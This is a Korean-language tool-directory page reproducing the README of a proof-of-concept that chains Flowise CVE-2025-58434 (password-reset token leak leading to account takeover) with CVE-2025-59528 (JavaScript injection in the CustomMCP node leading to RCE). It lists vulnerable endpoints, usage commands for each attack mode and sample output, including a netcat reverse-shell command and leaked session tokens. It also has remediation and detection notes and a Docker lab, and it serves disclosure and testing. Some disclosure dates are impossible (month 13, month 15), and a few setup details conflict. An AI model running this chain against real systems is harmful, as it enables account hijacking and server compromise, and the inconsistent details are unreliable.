Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Flowise-CVE-2025-58434-Chain-59528 — FlowiseAI CVE-2025-58434 및 CVE-2025-59528 익스플로잇 PoC, 리셋 토큰 누출을 통한 인증되지 않은 ATO를 시연하며, 이어서 인증된 RCE를 보여줍니다. 재현 가능한 Docker 실습 환경을 포함합니다. | Kitploit
도구/GitHubGitHub/0xdaeras/flowise-cve-2025-58434-chain-59528
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationLearning & EducationLabs & Practice
GitHub0xdaeras/flowise-cve-2025-58434-chain-59528

Flowise-CVE-2025-58434-Chain-59528

FlowiseAI CVE-2025-58434 및 CVE-2025-59528 익스플로잇 PoC, 리셋 토큰 누출을 통한 인증되지 않은 ATO를 시연하며, 이어서 인증된 RCE를 보여줍니다. 재현 가능한 Docker 실습 환경을 포함합니다.

저장소 보기
14개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

FlowiseAI CVE 체인 - ATO (CVE-2025-58434) 및 RCE (CVE-2025-59528)

CVE-2025-58434 CVSS-1 CVE-2025-59528 CVSS-2 Python License

⚠️ 교육 및 허가된 보안 연구 용도로만 사용하십시오. 귀하가 소유하지 않거나 서면 허가 없이 테스트하는 시스템에 대해 이 도구를 실행하는 것은 불법입니다.


목차

이 저장소에는 두 가지 Flowise 취약점을 연결하는 Python 개념 증명(PoC)이 포함되어 있습니다:

  • CVE-2025-58434 — 노출된 비밀번호 재설정 토큰 동작을 통한 계정 탈취.
  • CVE-2025-59528 — CustomMCP 노드의 안전하지 않은 JavaScript 평가를 통한 원격 코드 실행.

Flowise는 LLM 애플리케이션 및 AI 에이전트 워크플로우를 구축하기 위한 드래그 앤 드롭 플랫폼입니다. CVE-2025-59528은 Flowise 3.0.5에 영향을 미치며 3.0.6에서 수정되었습니다. 문제는 CustomMCP 노드 내에서 mcpServerConfig의 안전하지 않은 처리에서 비롯됩니다. CVE-2025-58434는 비밀번호 재설정 토큰 노출과 관련이 있으며 Flowise 3.0.6에서도 해결되었습니다.

이 도구는 다음을 지원합니다:

  • 취약점 확인
  • 계정 탈취 흐름
  • 로그인 및 쿠키 획득
  • 인증된 RCE
  • 전체 체인 모드: ATO → 로그인 → RCE

취약점 세부 정보

CVE-2025-58434 — 계정 탈취

  • CVE ID: CVE-2025-58434
  • CVSS v3.1 점수: 9.8 (Critical)
  • 취약점 유형: 계정 탈취 / 인증 우회
  • 영향받는 제품: Flowise
  • 테스트된 영향 버전: Flowise 3.0.5
  • 수정 버전: Flowise 3.0.6
  • 인증 필요 여부: 아니요
  • 영향: 비밀번호 재설정 토큰 공개, 계정 탈취

취약한 비밀번호 재설정 흐름은 임시 비밀번호 재설정 토큰을 포함한 민감한 사용자 데이터를 API 응답에 노출합니다. 유효한 사용자 이메일 주소를 알고 있는 공격자는 비밀번호 재설정을 요청하고, 응답에서 임시 토큰을 검색한 다음 이를 사용하여 해당 계정의 새 비밀번호를 설정할 수 있습니다.

취약한 동작은 동일한 API 표면을 노출하는 Flowise 클라우드 및 자체 호스팅/로컬 배포에 영향을 미칩니다. 해결 방법은 비밀번호 재설정 토큰이나 민감한 계정 재설정 데이터를 API 응답에 직접 반환하지 않는 것입니다.

CVE-2025-59528 — 원격 코드 실행

  • CVE ID: CVE-2025-59528
  • CVSS v3.1 점수: 10.0 (Critical)
  • 취약점 유형: JavaScript 코드 주입 / 원격 코드 실행
  • 영향받는 제품: Flowise
  • 테스트된 영향 버전: Flowise 3.0.5
  • 수정 버전: Flowise 3.0.6
  • 인증 필요 여부: 예
  • 영향: Node.js 런타임 내에서의 임의 JavaScript 실행, Flowise를 호스팅하는 서버에서의 RCE

이 취약점은 Flowise의 CustomMCP 노드에 존재합니다. mcpServerConfig 매개변수는 MCP 서버 구성 프로세스의 일부로 구문 분석되며, 보안 검증 없이 JavaScript 코드로 평가됩니다. 이를 통해 인증된 공격자가 임의의 JavaScript 코드를 주입할 수 있으며, 이 코드는 Flowise 서버의 Node.js 환경에서 실행됩니다. convertToValidJSONString 함수에서 사용자 입력이 Function 생성자에 전달되어 전체 Node.js 권한으로 JavaScript 코드로 평가되므로 child_process와 같은 모듈에 액세스하여 시스템 명령을 실행할 수 있습니다.

이 PoC에서 사용하는 취약한 엔드포인트는 다음과 같습니다:

root@kitploit:~
POST /api/v1/node-load-method/customMCP

JSON 본문의 mcpServerConfig 필드에 js 페이로드를 포함합니다. 예:

root@kitploit:~
{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "..."
  }
}

취약한 코드는 CustomMCP.ts 파일에 있으며, 해당 CVE에 대한 Github 유지보수자 권고에서 참조됩니다.


공격 흐름

root@kitploit:~
공격자                                   Flowise
   │                                          │
   │  [CVE-2025-58434]                       │
   │  POST /api/v1/account/forgot-password   │
   │  { email }                              │
   │─────────────────────────────────────────►│
   │◄─────────────────────────────────────────│
   │  user 객체 + tempToken                 │
   │                                          │
   │  POST /api/v1/account/reset-password     │
   │  { email, tempToken, newPassword }       │
   │─────────────────────────────────────────►│
   │◄─────────────────────────────────────────│
   │  비밀번호 변경됨                        │
   │                                          │
   │  POST /api/v1/auth/login                 │
   │  { email, newPassword }                  │
   │─────────────────────────────────────────►│
   │◄─────────────────────────────────────────│
   │  token / refreshToken / connect.sid      │
   │                                          │
   │  [CVE-2025-59528]                       │
   │  POST /api/v1/node-load-method/customMCP │
   │  mcpServerConfig=<조작된 구성>           │
   │─────────────────────────────────────────►│
   │                              JS가 Node.js에서 평가됨
   │                              명령어 실행됨
   │◄─────────────────────────────────────────│
   │  명령어 출력 또는 페이로드 실행         │
   │                                          │
   ✓  계정 탈취 + 인증된 RCE

저장소 구조:

root@kitploit:~
Repository Structure
CVE-2025-58434-CVE-2025-59528/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
└── logs/

설치

도구

root@kitploit:~
git clone https://github.com/0xDaeras/CVE-2025-58434-CVE-2025-59528-POC.git
cd CVE-2025-58434-CVE-2025-59528-POC
pip install -r requirements.txt

Docker 실습 환경

root@kitploit:~
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env  # 환경 변수 구성
docker-compose up -d

사용법

기본 동작

인수 없이 실행하면 도구는 전체 공격 체인을 실행하여 대상 취약점을 확인하고, 제공된 이메일에 대한 계정 탈취를 수행하고, 쿠키를 검색하기 위해 로그인한 다음, 리버스 셸 페이로드로 RCE 취약점을 악용합니다. 전체 체인 모드에서 도구를 실행하기 전에 전용 리스너(예: nc -lvnp 9889)를 실행하십시오.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889

도움말 화면

root@kitploit:~
python3 exploit.py -h

모드

check-mode

대상이 CVE-2025-58434 및 CVE-2025-59528에 취약한지 확인하기 위해 버전 점검을 수행합니다. 대상의 API에 요청을 보내고 응답을 분석하여 Flowise 버전 및 취약점 상태를 식별합니다.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 check

ato-mode

CVE-2025-58434에 대한 계정 탈취 프로세스를 실행합니다. 지정된 이메일에 대한 비밀번호 재설정 요청을 보내고, 응답에서 임시 토큰을 검색한 다음, 해당 토큰을 사용하여 계정의 새 비밀번호(기본값: "Password123!")를 설정합니다.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] ato-mode

login-mode

지정된 이메일과 비밀번호(기본값: "Password123!")를 사용하여 대상에 로그인합니다. 성공하면 인증 요청에 사용할 인증 쿠키(예: connect.sid)를 검색하여 표시합니다.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! login-mode

rce-mode

조작된 mcpServerConfig 페이로드를 취약한 엔드포인트로 전송하여 RCE 취약점(CVE-2025-59528)을 악용합니다. 페이로드는 지정된 LHOST 및 LPORT로 다시 연결되는 리버스 셸 명령을 실행하도록 설계되었습니다. 토큰이 제공되지 않으면 자동으로 로그인을 시도하고 유효한 토큰을 검색하여 악용합니다. LHOST/LPORT가 제공되지 않으면 기본적으로 응답에 출력을 반환하는 간단한 id 명령 페이로드를 사용합니다. 전체 체인 모드에서 도구를 실행하기 전에 전용 리스너(예: nc -lvnp 9889)를 실행하십시오.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! --lhost attacker.local --lport 9889 rce-mode

full-chain-mode

기본 모드. 전체 공격 체인을 순차적으로 실행합니다: 취약점 확인, 계정 탈취 수행, 로그인하여 쿠키 검색, 리버스 셸 페이로드로 RCE 취약점 악용. 전체 체인 모드에서 도구를 실행하기 전에 전용 리스너(예: nc -lvnp 9889)를 실행하십시오.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889 full-chain-mode

플래그 참조

대상 및 인증

플래그설명예제
-t, --target대상 기본 URL-t http://localhost:3000
-e, --email대상 계정 이메일-e [email protected]
--password로그인/RCE 모드용 알려진 비밀번호--password Password123!
--token기존 세션 토큰, 로그인 건너뜀--token eyJ...
--new-passwordATO 중 설정할 비밀번호--new-password Password123!

악용 모드

모드설명
check대상이 취약한 것으로 보이는지 확인
ato-mode계정 탈취 흐름만 실행
login-mode로그인 및 세션 쿠키 검색
rce-modeRCE 흐름만 실행
full-modeATO, 로그인 및 RCE 연결

RCE 옵션

플래그설명예제
-c, --command실행할 사용자 정의 명령-c 'id'
--lhost리버스 셸용 리스너 호스트--lhost 10.10.14.3
--lport리버스 셸용 리스너 포트--lport 4444

안전 및 출력

플래그설명기본값
--no-check버전/취약점 확인 건너뛰기False
-v, --verbose디버그 로깅 활성화False
--log-file로그 파일 경로logs/exploit.log
--no-colorANSI 색상 비활성화False

예제 출력

root@kitploit:~
$ python3 exploit.py -t http://localhost:3000 -e [email protected] --new-password Password123! --lhost 192.168.1.7 --lport 9889 full-mode

                                                                                                                                   
___________.__                .__                _________ .__           .__        
\_   _____/|  |   ______  _  _|__| ______ ____   \_   ___ \|  |__ _____  |__| ____   
 |    __)  |  |  /  _ \ \/ \/ /  |/  ___// __ \  /    \  \/|  |  \\__  \ |  |/    \  
 |     \   |  |_(  <_> )     /|  |\___ \\  ___/  \     \___|   Y  \/ __ \|  |   |  \ 
 \___  /   |____/\____/ \/\_/ |__/____  >\___  >  \______  /___|  (____  /__|___|  / 
     \/                               \/     \/          \/     \/     \/        \/  
                                                                                     

  ────────────────────────────────────────────────────────────────────────────────
[∗] 대상 URL: http://localhost:3000
[∗] 모듈 : full-mode
[∗] 이메일  : [email protected]
  ────────────────────────────────────────────────────────────────────────────────
[∗] 대상 취약점 확인 중...
[+] 대상이 취약한 것으로 보입니다.
  ────────────────────────────────────────────────────────────────────────────────
[∗] 계정 탈취 시작 (CVE-2025-58434)...
[+] 비밀번호 재설정 요청이 성공적으로 전송되었습니다.
[∗] 대상 사용자 데이터 :

 🡪  ID             : 4e169dc2-AAAA-BBBB-CCCC-DDDDDDDDDDDD
 🡪  이름           : Lab Admin
 🡪  이메일          : [email protected]
 🡪  자격 증명     : $2a$10$lKbQNf8pVQXJFMzzW...
 🡪  상태         : active
 🡪  임시 토큰     : AWtyV7mxIa6h12OhlB7H0mMl...
 🡪  토큰 만료   : 2026-05-08T19:37:47.025Z

[∗] 임시 토큰을 사용하여 비밀번호 재설정 시도 중...
[∗] 새 비밀번호 : Password123!
[+] 계정 탈취 성공! 새 자격 증명:

 🡪  이메일          : [email protected]
 🡪  비밀번호       : Password123!
  ────────────────────────────────────────────────────────────────────────────────
[∗] 세션 쿠키 검색을 위해 로그인 프로세스 시작...
[+] 로그인 성공!
[+] 검색된 세션 토큰 :

 🡪  토큰          : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
 🡪  connect.sid    : s%3AFi1aUHh5p0aQrPd5q-l_vupTCE-5G...
 🡪  refreshToken   : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
  ────────────────────────────────────────────────────────────────────────────────
[∗] 원격 코드 실행 시작 (CVE-2025-59528)...
[!] 리버스 셸 명령을 사용하는 경우 리스너가 준비되었는지 확인하세요!

[∗] 리버스 셸 명령: rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.1 9889 > /tmp/f
[∗] 대상 URL: http://localhost:3000/api/v1/node-load-method/customMCP

[∗] RCE 트리거를 위해 페이로드 전송 중...
[+] 페이로드가 전송되었습니다. 리버스 셸 연결을 위해 리스너를 확인하세요!
  ────────────────────────────────────────────────────────────────────────────────
[+] 작업 완료. 안녕!

Docker 실습 환경

안전한 테스트를 위해 로컬 실습 환경을 권장합니다.

실습 환경 설치:

root@kitploit:~
cp .env.example .env  # 필요에 따라 환경 변수 구성
docker compose up -d --build
docker compose logs -f

기본적으로 두 개의 Flowise 계정이 생성됩니다:

  • 관리자: 이메일은 [email protected], 비밀번호는 컨테이너 시작 시 무작위로 생성됩니다(비밀번호 확인을 위해 로그를 확인).
  • 사용자: 이메일은 [email protected], 비밀번호는 컨테이너 시작 시 무작위로 생성되지만 로그에는 나타나지 않습니다. 이 계정이 ATO 흐름의 의도된 대상입니다.

로컬 인스턴스에 대해 PoC 실행:

root@kitploit:~
python3 exploit.py \
  -t http://localhost:3000 \
  -e [email protected] \
  --new-password 'Password123!' \
  --no-check \
  full-mode

Flowise 로그를 확인하려면:

root@kitploit:~
docker compose logs -f flowise-cve-lab

또는:

root@kitploit:~
docker logs -f flowise-cve-lab

해결 방법

일반 권장 사항

CVE-2025-58434 대응

  • Flowise를 버전 3.0.6 이상으로 업그레이드하십시오.
  • API 응답에 비밀번호 재설정 토큰을 절대 반환하지 마십시오.
  • 재설정 토큰은 등록된 이메일 채널을 통해서만 전달하십시오.
  • 재설정 토큰을 한 번 사용 후 무효화하십시오.
  • 비밀번호 재설정 엔드포인트에 엄격한 만료 및 속도 제한을 추가하십시오.

CVE-2025-59528 대응

  • Flowise를 버전 3.0.6 이상으로 업그레이드하십시오.
  • 사용자 제어 구성을 JavaScript로 평가하지 마십시오.
  • 안전하지 않은 Function, eval 또는 이에 상응하는 동적 실행 패턴을 제거하십시오.
  • MCP 구성을 실행 가능한 코드가 아닌 엄격한 데이터로 검증 및 구문 분석하십시오.

탐지 아이디어

잠재적인 악용 지표:

  • /api/v1/node-load-method/customMCP에 대한 요청
  • JavaScript와 유사한 구문을 포함하는 의심스러운 mcpServerConfig 값
  • process.mainModule, child_process, execSync, Buffer.from, Function과 같은 문자열
  • 비밀번호 재설정 요청 직후 로그인 및 CustomMCP 액세스
  • Flowise 컨테이너 또는 호스트에서의 아웃바운드 연결

공개 타임라인

  • 2025-12-09: CVE-2025-58434가 사용자 zaddy6 및 arthurgervais에 의해 Github Advisories에 상세 보고서 및 PoC와 함께 공개됨.
  • 2025-13-09: CVE-2025-59528이 사용자 im-soohyun에 의해 Github Advisories에 상세 보고서 및 PoC와 함께 공개됨.
  • 2025-15-09: 두 CVE 모두 Flowise 3.0.6에서 수정되어 Github에 릴리스됨.

면책 조항

이 프로젝트는 교육 목적, 실습 환경 테스트 및 허가된 보안 연구용으로만 제공됩니다.

이 도구를 어떤 시스템에 대해 실행하기 전에 명시적 허가가 있는지 확인하는 것은 귀하의 책임입니다. 저자는 이 코드를 사용하여 발생하는 오용, 손해 또는 불법 활동에 대해 책임을 지지 않습니다. 보안 테스트를 수행할 때는 항상 윤리적 지침과 법적 요구 사항을 따르십시오.


참고 자료

  • CVE-2025-58434
  • CVE-2025-59528
  • Flowise GitHub 저장소
  • CVE-2025-58434에 대한 Flowise 유지보수자 권고
  • CVE-2025-59528에 대한 Flowise 유지보수자 권고
  • Flowise 3.0.6 릴리스 노트
도구 다운로드